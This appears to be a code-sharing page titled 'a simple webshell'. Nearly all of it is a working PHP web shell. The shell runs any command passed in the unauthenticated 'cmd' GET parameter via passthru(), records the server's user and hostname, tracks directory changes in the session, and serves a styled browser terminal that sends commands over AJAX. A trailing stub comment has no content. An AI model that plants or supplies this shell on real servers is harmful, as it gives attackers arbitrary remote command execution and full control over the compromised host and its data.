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a simple webshell
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| <?php session_start(); ?> | |
| <?php | |
| if (empty($_SESSION['path'])) { | |
| $_SESSION['user'] = shell_exec('whoami'); | |
| $_SESSION['host'] = shell_exec('hostname'); | |
| $_SESSION['path'] = dirname(__FILE__); | |
| } | |
| function showInfo($cmd) { | |
| $user = $_SESSION['user']; | |
| $host = $_SESSION['host']; | |
| $path = $_SESSION['path']; | |
| echo "$host:$path $$user : $cmd"; | |
| } | |
| if (!empty($_GET['cmd'])) { | |
| echo "<br/>"; | |
| $cmd = $_GET['cmd']; | |
| if (ereg("cd (.*)", $cmd, $file)) { | |
| if ($file[1]!='.') { | |
| if ($file[1] == '/') { | |
| $path = $file[1]; | |
| } else if ($file[1] == '..') { | |
| $i = strripos($_SESSION['path'], '/'); | |
| $path = substr($_SESSION['path'], 0, $i); | |
| if ($i == 0 ) { | |
| $_SESSION['path'] = '/'; | |
| } | |
| } else{ | |
| if ($_SESSION['path'] == '/') { | |
| $path = $_SESSION['path'].$file[1]; | |
| } else { | |
| $path = $_SESSION['path'].'/'.$file[1]; | |
| } | |
| } | |
| } | |
| if((file_exists($file[1]) && is_dir($file[1])) || $file[1]='~') { | |
| $_SESSION['path'] = $path; | |
| showInfo(''); | |
| } else { | |
| echo "<pre>$cmd: No such file or directory</pre>"; | |
| } | |
| } else { | |
| $path = $_SESSION['path']; | |
| passthru($cmd, $returnval); | |
| if($returnval){ | |
| echo 'error'; | |
| }else{ | |
| echo 'done'; | |
| } | |
| echo "<br/><br/>"; | |
| } | |
| exit; | |
| } | |
| ?> | |
| <html> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <title>WEB SHELL</title> | |
| <style> | |
| body{background:#333;color:#88B541;} | |
| input{background:#444;color:#E19A49;border:0;width:50%;} | |
| .log-list{overflow-y:scroll;height:90%;} | |
| #text{color:#999;} | |
| b{color:#FB6D6C;} | |
| </style> | |
| <script> | |
| postCmd = function(e) { | |
| e.preventDefault; | |
| var cmd = document.getElementById('cmd'), | |
| log = document.getElementById('log-item'), | |
| text = document.getElementById('text'), | |
| info = document.getElementById('info'), | |
| ajax = new XMLHttpRequest(); | |
| if (!cmd.value) {return;}; | |
| ajax.open("GET", "?cmd="+cmd.value); | |
| ajax.send(); | |
| ajax.onreadystatechange = function() { | |
| if ( ajax.readyState == 4 ) { | |
| if (cmd.value.match("cd ")) { | |
| info.innerHTML = ajax.responseText; | |
| console.log(ajax.responseText); | |
| console.log(info); | |
| } else { | |
| var t = "<pre>%s</pre>"; | |
| log.innerHTML += t.replace('%s', ajax.responseText); | |
| } | |
| text.scrollIntoView(); | |
| cmd.value = ""; | |
| } | |
| } | |
| }; | |
| </script> | |
| </head> | |
| <body> | |
| <div class="log-list"> | |
| <div id="log-item"></div> | |
| <span id="text">Input command here :</span> | |
| </div> | |
| <form action="javascript:;" method="post" onsubmit="postCmd(event)"/> | |
| <label id="info" for="cmd"><?php showInfo();?></label><input id="cmd" type="text" tab="1" autofocus="autofocus"/> | |
| </form> | |
| </body> | |
| </html> |
security007
commented
Jan 26, 2019
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